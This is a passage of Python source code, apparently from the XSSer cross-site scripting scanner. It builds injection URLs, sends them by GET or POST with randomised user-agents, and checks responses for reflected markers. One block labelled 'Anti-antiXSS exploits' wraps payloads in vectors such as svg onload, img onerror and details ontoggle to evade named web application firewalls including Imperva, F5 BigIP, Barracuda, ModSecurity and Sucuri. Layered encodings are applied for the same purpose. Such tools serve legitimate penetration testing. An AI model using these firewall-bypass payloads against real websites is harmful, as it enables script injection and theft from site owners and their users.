  591. def get_url_payload(self, url, payload, query_string, user_attack_payload):
  592. """
  593. Attack the given url within the given payload
  594. """
  595. options = self.options
  596. self._ongoing_attacks = {}
  597. if (self.options.xsa or self.options.xsr or self.options.coo):
  598. agent, referer, cookie = self._prepare_extra_attacks(payload)
  599. else:
  600. agents = [] # user-agents
  601. try:
  602. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  603. except:
  604. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  605. for line in f:
  606. agents.append(line)
  607. agent = random.choice(agents).strip() # set random user-agent
  608. referer = "127.0.0.1"
  609. cookie = None
  610. if options.agent:
  611. agent = options.agent
  612. else:
  613. self.options.agent = agent
  614. if options.referer:
  615. referer = options.referer
  616. else:
  617. self.options.referer = referer
  618. if options.cookie: # set formatted by user cookies
  619. cookie = options.cookie
  620. else:
  621. self.options.cookie = cookie
  622. # get payload/vector
  623. payload_string = payload['payload'].strip()
  624. ### Anti-antiXSS exploits
  625. # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
  626. if options.phpids065:
  627. payload_string = 32*payload_string + payload_string
  628. # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload' (23/04/2016)
  629. if options.phpids070:
  630. payload_string = '<svg+onload=+"'+payload_string+'">'
  631. # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode] 18/02/2016
  632. if options.imperva:
  633. payload_string = '<img src=x onerror="'+payload_string+'">'
  634. # WebKnight (>4.1) [Chrome] payload: 'details ontoggle' 18/02/2016
  635. if options.webknight:
  636. payload_string = '<details ontoggle='+payload_string+'>'
  637. # F5BigIP [Chrome+FF+Opera] payload: 'onwheel' 18/02/2016
  638. if options.f5bigip:
  639. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  640. # Barracuda WAF [ALL] payload: 'onwheel' 18/02/2016
  641. if options.barracuda:
  642. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  643. # Apache / modsec [ALL] payload: special 18/02/2016
  644. if options.modsec:
  645. payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
  646. # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  647. if options.quickdefense:
  648. payload_string = '<details ontoggle="'+payload_string+'">'
  649. # SucuriWAF [ALL] payload: 'ontoggle' + payload[Unicode] 18/02/2016
  650. if options.sucuri:
  651. payload_string = '<a+id="a"href=javascript%26colon;alert%26lpar;'+payload_string+'%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Y</a>'
  652. # Firefox 12 (and below) # 09/2019
  653. if options.firefox:
  654. payload_string = "<script type ='text/javascript'>"+payload_string+"</script>"
  655. # Chrome 19 (and below, but also Firefox 12 and below) # 09/2019
  656. if options.chrome:
  657. payload_string = "<script>/*///*/"+payload_string+"</script>"
  658. # Internet Explorer 9 (but also Firefox 12 and below) # 09/2019
  659. if options.iexplorer:
  660. payload_string = 'cooki1%3dvalue1;%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<html><body><script>'+payload_string+'</script></body></html>'
  661. # Opera 10.6 (but also IE6) # 09/2019
  662. if options.opera:
  663. payload_string = "<Table background = javascript: alert ("+payload_string+")> </ table>"
  664. # Substitute the attacking hash
  665. if 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
  666. payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
  667. payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
  668. hashed_payload = payload_string
  669. # Imperva
  670. if options.imperva:
  671. hashed_payload = urllib.parse.urlencode({'':hashed_payload})
  672. hashed_payload = urllib.parse.urlencode({'':hashed_payload}) #DoubleURL encoding
  673. hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
  674. hashed_payload = str(hashed_payload) # + Unicode
  675. # Quick Defense
  676. if options.quickdefense:
  677. hashed_payload = str(hashed_payload) # + Unicode
  678. # apply user final attack url payload
  679. if user_attack_payload:
  680. hashed_vector_url = self.encoding_permutations(user_attack_payload)
  681. else:
  682. hashed_vector_url = self.encoding_permutations(hashed_payload)
  683. # replace special payload string also for extra attacks
  684. if self.extra_hashed_injections:
  685. hashed_payload = hashed_payload.replace('XSS', 'PAYLOAD')
  686. for k, v in self.extra_hashed_injections.items():
  687. if v[1] in hashed_payload:
  688. self.extra_hashed_vector_url[k] = v[0], hashed_payload
  689. self.extra_hashed_injections = self.extra_hashed_vector_url
  690. if not options.getdata: # using GET as a single input (-u)
  691. target_url = url
  692. else:
  693. if not url.endswith("/") and not options.getdata.startswith("/"):
  694. url = url + "/"
  695. target_url = url + options.getdata
  696. p_uri = urlparse(target_url)
  697. uri = p_uri.netloc
  698. path = p_uri.path
  699. if not uri.endswith('/') and not path.startswith('/'):
  700. uri = uri + "/"
  701. if self.options.target or self.options.crawling: # for audit entire target allows target without 'XSS/X1S' keyword
  702. if not "XSS" in target_url:
  703. if not target_url.endswith("/"):
  704. target_url = target_url + "/XSS"
  705. else:
  706. target_url = target_url + "XSS"
  707. target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
  708. if self.options.script:
  709. if not 'XSS' in self.options.script and not self.options.crawling: # 'XSS' keyword used to change PAYLOAD at target_params
  710. self.not_keyword_exit()
  711. if not target_params and not options.postdata:
  712. if not self.options.xsa and not self.options.xsr and not self.options.coo: # extra attacks payloads
  713. if not 'XSS' in target_url and not 'X1S' in target_url and not self.options.crawling: # not any payloader found!
  714. self.not_keyword_exit()
  715. else: # keyword found at target url (ex: https://target.com/XSS)
  716. if 'XSS' in target_url:
  717. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  718. elif 'X1S' in target_url:
  719. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  720. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  721. if "[B64]" in hashed_payload: # [DCP Injection]
  722. dcp_payload = hashed_payload.split("[B64]")[1]
  723. dcp_preload = hashed_payload.split("[B64]")[0]
  724. dcp_payload = b64encode(dcp_payload)
  725. hashed_payload = dcp_preload + dcp_payload
  726. self.hashed_injections[url_orig_hash] = target_url
  727. if user_attack_payload:
  728. pass
  729. else:
  730. hashed_vector_url = self.encoding_permutations(hashed_payload)
  731. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  732. target_url_params = urllib.parse.urlencode(target_params)
  733. if not uri.endswith('/') and not path.startswith('/'):
  734. uri = uri + "/"
  735. dest_url = p_uri.scheme + "://" + uri + path
  736. if not "XSS" in dest_url:
  737. if not dest_url.endswith("/"):
  738. dest_url = dest_url + "/" + hashed_vector_url
  739. else:
  740. dest_url = dest_url + hashed_vector_url
  741. else:
  742. if 'XSS' in dest_url:
  743. dest_url = dest_url.replace('XSS', hashed_vector_url)
  744. if 'X1S' in dest_url:
  745. dest_url = dest_url.replace('X1S', hashed_vector_url)
  746. else:
  747. if 'XSS' in target_url:
  748. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  749. elif 'X1S' in target_url:
  750. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  751. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  752. if "[B64]" in hashed_payload: # [DCP Injection]
  753. dcp_payload = hashed_payload.split("[B64]")[1]
  754. dcp_preload = hashed_payload.split("[B64]")[0]
  755. dcp_payload = b64encode(dcp_payload)
  756. hashed_payload = dcp_preload + dcp_payload
  757. self.hashed_injections[url_orig_hash] = target_url
  758. if user_attack_payload:
  759. pass
  760. else:
  761. hashed_vector_url = self.encoding_permutations(hashed_payload)
  762. target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
  763. target_url_params = urllib.parse.urlencode(target_params)
  764. if not uri.endswith('/') and not path.startswith('/'):
  765. uri = uri + "/"
  766. dest_url = p_uri.scheme + "://" + uri + path
  767. if 'XSS' in dest_url:
  768. dest_url = dest_url.replace('XSS', hashed_vector_url)
  769. if 'X1S' in dest_url:
  770. dest_url = dest_url.replace('X1S', hashed_vector_url)
  771. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  772. else:
  773. if not options.postdata:
  774. r = 0
  775. for key, value in target_params.items(): # parse params searching for keywords
  776. for v in value:
  777. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  778. if v == 'XSS':
  779. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  780. elif v == 'X1S':
  781. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  782. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  783. if "[B64]" in hashed_payload: # [DCP Injection]
  784. dcp_payload = hashed_payload.split("[B64]")[1]
  785. dcp_preload = hashed_payload.split("[B64]")[0]
  786. dcp_payload = b64encode(dcp_payload)
  787. hashed_payload = dcp_preload + dcp_payload
  788. self.hashed_injections[url_orig_hash] = key
  789. if user_attack_payload:
  790. pass
  791. else:
  792. hashed_vector_url = self.encoding_permutations(hashed_payload)
  793. target_params[key] = hashed_vector_url
  794. r = r + 1
  795. else:
  796. if self.options.xsa or self.options.xsr or self.options.coo:
  797. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  798. self.hashed_injections[url_orig_hash] = key
  799. target_params[key] = v
  800. r = r + 1
  801. else:
  802. target_params[key] = v
  803. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  804. self.not_keyword_exit()
  805. payload_url = query_string.strip() + hashed_vector_url
  806. target_url_params = urllib.parse.urlencode(target_params)
  807. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  808. else: # using POST provided by parameter (-p)
  809. target_params = parse_qs(query_string, keep_blank_values=True)
  810. r = 0
  811. for key, value in target_params.items(): # parse params searching for keywords
  812. for v in value:
  813. if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
  814. if v == 'XSS':
  815. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  816. elif v == 'X1S':
  817. url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
  818. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  819. if "[B64]" in hashed_payload: # [DCP Injection]
  820. dcp_payload = hashed_payload.split("[B64]")[1]
  821. dcp_preload = hashed_payload.split("[B64]")[0]
  822. dcp_payload = b64encode(dcp_payload)
  823. hashed_payload = dcp_preload + dcp_payload
  824. self.hashed_injections[url_orig_hash] = key
  825. if user_attack_payload:
  826. pass
  827. else:
  828. hashed_vector_url = self.encoding_permutations(hashed_payload)
  829. target_params[key] = hashed_vector_url
  830. r = r + 1
  831. else:
  832. if self.options.xsa or self.options.xsr or self.options.coo:
  833. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  834. self.hashed_injections[url_orig_hash] = key
  835. target_params[key] = v
  836. r = r + 1
  837. else:
  838. target_params[key] = v
  839. if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
  840. self.not_keyword_exit()
  841. target_url_params = urllib.parse.urlencode(target_params)
  842. dest_url = target_url_params
  843. self._ongoing_attacks['url'] = url_orig_hash
  844. if payload['browser'] == "[Document Object Model Injection]": # url decoding/unquote DOM payloads to execute url #fragments
  845. dest_url = urllib.parse.unquote(dest_url)
  846. return dest_url, agent, referer, cookie
  847. def attack_url_payload(self, url, payload, query_string):
  848. if not self.pool:
  849. pool = self.mothership.pool
  850. else:
  851. pool = self.pool
  852. c = Curl()
  853. if self.options.headers: # add extra headers
  854. headers = self.options.headers
  855. else:
  856. headers = None
  857. if self.options.getdata or not self.options.postdata:
  858. dest_url, agent, referer, cookie = self.get_url_payload(url, payload, query_string, None)
  859. def _cb(request, result):
  860. self.finish_attack_url_payload(c, request, result, payload,
  861. query_string, url, dest_url)
  862. _error_cb = self.error_attack_url_payload
  863. def _error_cb(request, error):
  864. self.error_attack_url_payload(c, url, request, error)
  865. c.agent = agent
  866. c.referer = referer
  867. c.cookie = cookie
  868. if " " in dest_url: # parse blank spaces
  869. dest_url = dest_url.replace(" ", "+")
  870. pool.addRequest(c.get, [[dest_url, headers]], _cb, _error_cb)
  871. self._ongoing_requests += 1
  872. if self.options.postdata:
  873. dest_url, agent, referer, cookie = self.get_url_payload("", payload, query_string, None)
  874. def _cb(request, result):
  875. self.finish_attack_url_payload(c, request, result, payload,
  876. query_string, url, dest_url)
  877. _error_cb = self.error_attack_url_payload
  878. def _error_cb(request, error):
  879. self.error_attack_url_payload(c, url, request, error)
  880. dest_url = dest_url.strip().replace("/", "", 1)
  881. c.agent = agent
  882. c.referer = referer
  883. c.cookie = cookie
  884. pool.addRequest(c.post, [[url, dest_url, headers]], _cb, _error_cb)
  885. self._ongoing_requests += 1
  886. def error_attack_url_payload(self, c, url, request, error):
  887. self._ongoing_requests -= 1
  888. for reporter in self._reporters:
  889. reporter.mosquito_crashed(url, str(error[0]))
  890. dest_url = request.args[0]
  891. self.report("[Error] Failed attempt (URL Malformed!?): " + url + "\n")
  892. self.urlmalformed = True
  893. if self.urlmalformed == True and self.urlspoll[0] == url:
  894. self.land()
  895. if DEBUG == True:
  896. self.report(str(error[0]))
  897. traceback.print_tb(error[2])
  898. c.close()
  899. del c
  900. return
  901. def finish_attack_url_payload(self, c, request, result, payload,
  902. query_string, url, dest_url):
  903. self.round_complete = self.round_complete + 1
  904. self.report("="*75)
  905. self.report("[*] Test: [ "+str(self.round_complete)+"/"+str(self.rounds)+" ] <-> "+str(self.time))
  906. self.report("="*75)
  907. self.report("\n[+] Target: \n\n [ "+ str(url) + " ]\n")
  908. self._ongoing_requests -= 1
  909. # adding constant head check number flag
  910. if self.options.isalive:
  911. self.flag_isalive_num = int(self.options.isalive)
  912. if not self.options.isalive:
  913. pass
  914. elif self.options.isalive and not self.options.nohead:
  915. self.errors_isalive = self.errors_isalive + 1
  916. if self.errors_isalive > self.options.isalive:
  917. pass
  918. else:
  919. self.report("---------------------")
  920. self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
  921. if self.next_isalive == True:
  922. hc = Curl()
  923. self.next_isalive = False
  924. try:
  925. urls = hc.do_head_check([url])
  926. except:
  927. print("[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  928. self.errors_isalive = 0
  929. return
  930. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  931. print("HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n")
  932. print("- Your target still Alive: " + "(" + url + ")")
  933. print("- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n")
  934. print(" - your injections are failing: normal :-)")
  935. print(" - maybe exists some IPS/NIDS/... systems blocking your requests!\n")
  936. else:
  937. if str(hc.info()["http-code"]) == "0":
  938. print("\n[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n")
  939. else:
  940. print("HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n")
  941. print("- Your target " + "(" + url + ")" + " looks that is NOT alive")
  942. print("- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target then try to; STOP THIS TEST!!\n")
  943. self.errors_isalive = 0
  944. else:
  945. if str(self.errors_isalive) >= str(self.options.isalive):
  946. self.report("---------------------")
  947. self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
  948. self.next_isalive = True
  949. self.options.isalive = self.flag_isalive_num
  950. else:
  951. if self.options.isalive and self.options.nohead:
  952. self.report("---------------------")
  953. self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
  954. self.report("---------------------")
  955. # check results an alternative url, choosing method and parameters, or not
  956. if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
  957. self.options.altm = "GET"
  958. if self.options.altm == "post":
  959. self.options.altm = "POST"
  960. if self.options.alt == None:
  961. pass
  962. else:
  963. self.report("="*45)
  964. self.report("[+] Checking Response Options:", "\n")
  965. self.report("[+] Url:", self.options.alt)
  966. self.report("[-] Method:", self.options.altm)
  967. if self.options.ald:
  968. self.report("[-] Parameter(s):", self.options.ald, "\n")
  969. else:
  970. self.report("[-] Parameter(s):", query_string, "\n")
  971. if c.info()["http-code"] in ["200", "302", "301"]:
  972. if self.options.statistics:
  973. self.success_connection = self.success_connection + 1
  974. self._report_attack_success(c, dest_url, payload,
  975. query_string, url)
  976. else:
  977. self._report_attack_failure(c, dest_url, payload,
  978. query_string, url)
  979. # checking response results
  980. if self.options.alt == None:
  981. pass
  982. else:
  983. self.report("="*45)
  984. self.report("[+] Checking Response Results:", "\n")
  985. self.report("Searching using", self.options.altm, "for:", orig_hash, "on alternative url")
  986. if 'PAYLOAD' in payload['payload']:
  987. user_attack_payload = payload['payload'].replace('PAYLOAD', orig_hash)
  988. if self.options.ald:
  989. query_string = self.options.ald
  990. if "VECTOR" in self.options.alt:
  991. dest_url = self.options.alt
  992. else:
  993. if not dest_url.endswith("/"):
  994. dest_url = dest_url + "/"
  995. if self.options.altm == 'POST':
  996. dest_url = "" + query_string + user_attack_payload
  997. dest_url = dest_url.strip().replace("/", "", 1)
  998. data = c.post(url, dest_url)
  999. else:
  1000. dest_url = self.options.alt + query_string + user_attack_payload
  1001. c.get(dest_url)
  1002. # perform check response injection
  1003. if c.info()["http-code"] in ["200", "302", "301"]:
  1004. if self.options.statistics:
  1005. self.success_connection = self.success_connection + 1
  1006. self._report_attack_success(c, dest_url, payload,
  1007. query_string, url)
  1008. else:
  1009. self._report_attack_failure(c, dest_url, payload,
  1010. query_string, url)
  1011. c.close()
  1012. del c
  1013. def encoding_permutations(self, enpayload_url):
  1014. """
  1015. perform encoding permutations on the url and query_string.
  1016. """
  1017. options = self.options
  1018. if options.Cem:
  1019. enc_perm = options.Cem.split(",")
  1020. for _enc in enc_perm:
  1021. enpayload_url = self.encmap[_enc](enpayload_url)
  1022. else:
  1023. for enctype in list(self.encmap.keys()):
  1024. if getattr(options, enctype):
  1025. enpayload_url = self.encmap[enctype](enpayload_url)
  1026. return enpayload_url
  1027. def _report_attack_success(self, curl_handle, dest_url, payload,\
  1028. query_string, orig_url):
  1029. """
  1030. report connection success when attacking
  1031. """
  1032. if not orig_url in self.successful_urls:
  1033. self.successful_urls.append(orig_url)
  1034. options = self.options
  1035. current_hashes = [] # to check for ongoing hashes
  1036. if payload['browser'] == "[Heuristic test]":
  1037. for key, value in self.hashed_injections.items():
  1038. if str(key) in dest_url:
  1039. if key not in current_hashes:
  1040. self.final_hashes[key] = value
  1041. current_hashes.append(key)
  1042. elif self.options.hash:
  1043. for key, value in self.hashed_injections.items():
  1044. self.final_hashes[key] = value
  1045. current_hashes.append(key)
  1046. else:
  1047. self.report("-"*45)
  1048. self.report("\n[!] Hashing: \n")
  1049. for key, value in self.hashed_injections.items():
  1050. if str(key) in dest_url:
  1051. if key not in current_hashes:
  1052. self.report(" [ " +key+" ] : [" , value + " ]")
  1053. self.final_hashes[key] = value
  1054. current_hashes.append(key)
  1055. else:
  1056. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1057. b64_string = payload["payload"].split("[B64]")
  1058. b64_string = b64_string[1]
  1059. b64_string = b64_string.replace('PAYLOAD', key)
  1060. b64_string = b64encode(b64_string)
  1061. b64_string = urllib.parse.urlencode({'':b64_string})
  1062. if b64_string.startswith("="):
  1063. b64_string = b64_string.replace("=", "")
  1064. if str(b64_string) in str(dest_url):
  1065. if key not in current_hashes:
  1066. self.report(" [ " +key+" ] : [" , value + " ]")
  1067. self.final_hashes[key] = value
  1068. current_hashes.append(key)
  1069. else: # when using encoders (Str, Hex, Dec...)
  1070. payload_string = payload["payload"].replace("PAYLOAD", key)
  1071. hashed_payload = self.encoding_permutations(payload_string)
  1072. if self.options.Cem:
  1073. enc_perm = options.Cem.split(",")
  1074. for e in enc_perm:
  1075. hashed_payload = self.encoding_permutations(payload_string)
  1076. if e == "Str":
  1077. hashed_payload = hashed_payload.replace(",", "%2C")
  1078. if e == "Mix":
  1079. hashed_payload=urllib.parse.quote(hashed_payload)
  1080. if e == "Dec":
  1081. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1082. if e == "Hex":
  1083. hashed_payload = hashed_payload.replace("%", "%25")
  1084. if e == "Hes":
  1085. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1086. hashed_payload = hashed_payload.replace(";", "%3B")
  1087. else:
  1088. if self.options.Str:
  1089. hashed_payload = hashed_payload.replace(",", "%2C")
  1090. if self.options.Mix:
  1091. hashed_payload=urllib.parse.quote(hashed_payload)
  1092. if self.options.Dec:
  1093. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1094. if self.options.Hex:
  1095. hashed_payload = hashed_payload.replace("%", "%25")
  1096. if self.options.Hes:
  1097. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1098. hashed_payload = hashed_payload.replace(";", "%3B")
  1099. if str(hashed_payload) in str(dest_url):
  1100. if key not in current_hashes:
  1101. self.report(" [ " +key+" ] : [" , value + " ]")
  1102. self.final_hashes[key] = value
  1103. if self.extra_hashed_injections:
  1104. for k, v in self.extra_hashed_injections.items():
  1105. payload_url = str(v[1])
  1106. if payload_url == payload["payload"]:
  1107. if k not in current_hashes:
  1108. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1109. self.final_hashes[k] = v[0]
  1110. current_hashes.append(k)
  1111. self.report("\n"+"-"*45+"\n")
  1112. if payload['browser'] == "[Heuristic test]":
  1113. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1114. else:
  1115. if self.extra_hashed_injections:
  1116. extra_attacks=[]
  1117. if options.xsa:
  1118. extra_attacks.append("XSA")
  1119. if options.xsr:
  1120. extra_attacks.append("XSR")
  1121. if options.coo:
  1122. extra_attacks.append("COO")
  1123. if extra_attacks:
  1124. extra_attacks = "+ "+ str(extra_attacks)
  1125. if options.postdata:
  1126. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1127. else:
  1128. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1129. else:
  1130. if options.postdata:
  1131. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1132. else:
  1133. self.report("[*] Trying: \n\n" + dest_url.strip() + "\n")
  1134. if not self.options.hash and not self.options.script:
  1135. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1136. pass
  1137. else:
  1138. self.report("-"*45)
  1139. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1140. pass
  1141. else:
  1142. if not "XSS" in dest_url or not "X1S" in dest_url:
  1143. if self.options.xsa or self.options.xsr or self.options.coo:
  1144. pass
  1145. else:
  1146. self.report("-"*45)
  1147. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1148. if not self.options.verbose:
  1149. self.report("-"*45 + "\n")
  1150. else:
  1151. self.report("-"*45)
  1152. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1153. if not self.options.verbose:
  1154. self.report("-"*45 + "\n")
  1155. # statistics injections counters
  1156. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1157. self.check_positives = self.check_positives + 1
  1158. elif payload['browser']=="[Data Control Protocol Injection]":
  1159. self.dcp_injection = self.dcp_injection + 1
  1160. elif payload['browser']=="[Document Object Model Injection]":
  1161. self.dom_injection = self.dom_injection + 1
  1162. elif payload['browser']=="[Induced Injection]":
  1163. self.httpsr_injection = self.httpsr_injection + 1
  1164. elif payload['browser']=="[manual_injection]":
  1165. self.manual_injection = self.manual_injection + 1
  1166. else:
  1167. self.auto_injection = self.auto_injection +1
  1168. if not self.hashed_injections:
  1169. for k, v in self.extra_hashed_injections.items():
  1170. if k in current_hashes:
  1171. if v[0] == "XSA":
  1172. agent = v[1]
  1173. agent = agent.replace("PAYLOAD", k)
  1174. Curl.agent = agent
  1175. if v[0] == "XSR":
  1176. referer = v[1]
  1177. referer = referer.replace("PAYLOAD", k)
  1178. Curl.referer = referer
  1179. if v[0] == "COO":
  1180. cookie = v[1]
  1181. cookie = cookie.replace("PAYLOAD", k)
  1182. Curl.cookie = cookie
  1183. else:
  1184. for key, value in self.hashed_injections.items():
  1185. for k, v in self.extra_hashed_injections.items():
  1186. payload_url = v[1]
  1187. payload_url = payload_url.replace("PAYLOAD",key)
  1188. payload_url = payload_url.replace(" ", "+") # black magic!
  1189. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1190. if payload_url in final_dest_url:
  1191. if v[0] == "XSA":
  1192. agent = v[1]
  1193. agent = agent.replace("PAYLOAD", k)
  1194. Curl.agent = agent
  1195. if v[0] == "XSR":
  1196. referer = v[1]
  1197. referer = referer.replace("PAYLOAD", k)
  1198. Curl.referer = referer
  1199. if v[0] == "COO":
  1200. cookie = v[1]
  1201. cookie = cookie.replace("PAYLOAD", k)
  1202. Curl.cookie = cookie
  1203. else:
  1204. if k in current_hashes:
  1205. if v[0] == "XSA":
  1206. agent = v[1]
  1207. agent = agent.replace("PAYLOAD", k)
  1208. Curl.agent = agent
  1209. if v[0] == "XSR":
  1210. referer = v[1]
  1211. referer = referer.replace("PAYLOAD", k)
  1212. Curl.referer = referer
  1213. if v[0] == "COO":
  1214. cookie = v[1]
  1215. cookie = cookie.replace("PAYLOAD", k)
  1216. Curl.cookie = cookie
  1217. if options.verbose:
  1218. self.report("-"*45)
  1219. self.report("\n[+] HTTP Headers Verbose:\n")
  1220. self.report(" [Client Request]")
  1221. Curl.print_options()
  1222. self.report(" [Server Reply]\n")
  1223. self.report(curl_handle.info())
  1224. self.report("="*45)
  1225. self.report("[*] Injection(s) Results:")
  1226. self.report("="*45 + "\n")
  1227. if payload['browser']=="[Heuristic test]":
  1228. for key, value in self.final_hashes.items():
  1229. if str(key) in dest_url:
  1230. heuristic_string = key
  1231. heuristic_param = str(payload['payload']).strip('XSS')
  1232. # checking heuristic responses
  1233. if heuristic_string in curl_handle.body():
  1234. # ascii
  1235. if heuristic_param == "\\":
  1236. self.heuris_backslash_found = self.heuris_backslash_found + 1
  1237. # / same as ASCII and Unicode
  1238. elif heuristic_param == "/":
  1239. self.heuris_slash_found = self.heuris_slash_found + 1
  1240. self.heuris_une_slash_found = self.heuris_une_slash_found + 1
  1241. elif heuristic_param == ">":
  1242. self.heuris_mayor_found = self.heuris_mayor_found + 1
  1243. elif heuristic_param == "<":
  1244. self.heuris_minor_found = self.heuris_minor_found + 1
  1245. elif heuristic_param == ";":
  1246. self.heuris_semicolon_found = self.heuris_semicolon_found + 1
  1247. elif heuristic_param == "'":
  1248. self.heuris_colon_found = self.heuris_colon_found + 1
  1249. elif heuristic_param == '"':
  1250. self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
  1251. elif heuristic_param == "=":
  1252. self.heuris_equal_found = self.heuris_equal_found + 1
  1253. # une
  1254. elif heuristic_param == "%5C":
  1255. self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
  1256. elif heuristic_param == "%3E":
  1257. self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
  1258. elif heuristic_param == "%3C":
  1259. self.heuris_une_minor_found = self.heuris_une_minor_found + 1
  1260. elif heuristic_param == "%3B":
  1261. self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
  1262. elif heuristic_param == "%27":
  1263. self.heuris_une_colon_found = self.heuris_une_colon_found + 1
  1264. elif heuristic_param == "%22":
  1265. self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
  1266. elif heuristic_param == "%3D":
  1267. self.heuris_une_equal_found = self.heuris_une_equal_found + 1
  1268. # dec
  1269. elif heuristic_param == "&#92":
  1270. self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
  1271. elif heuristic_param == "&#47":
  1272. self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
  1273. elif heuristic_param == "&#62":
  1274. self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
  1275. elif heuristic_param == "&#60":
  1276. self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
  1277. elif heuristic_param == "&#59":
  1278. self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
  1279. elif heuristic_param == "&#39":
  1280. self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
  1281. elif heuristic_param == "&#34":
  1282. self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
  1283. elif heuristic_param == "&#61":
  1284. self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
  1285. self.add_success(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # success!
  1286. else:
  1287. if heuristic_param == "\\":
  1288. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1289. elif heuristic_param == "/":
  1290. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1291. elif heuristic_param == ">":
  1292. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1293. elif heuristic_param == "<":
  1294. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1295. elif heuristic_param == ";":
  1296. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1297. elif heuristic_param == "'":
  1298. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1299. elif heuristic_param == '"':
  1300. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1301. elif heuristic_param == "=":
  1302. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
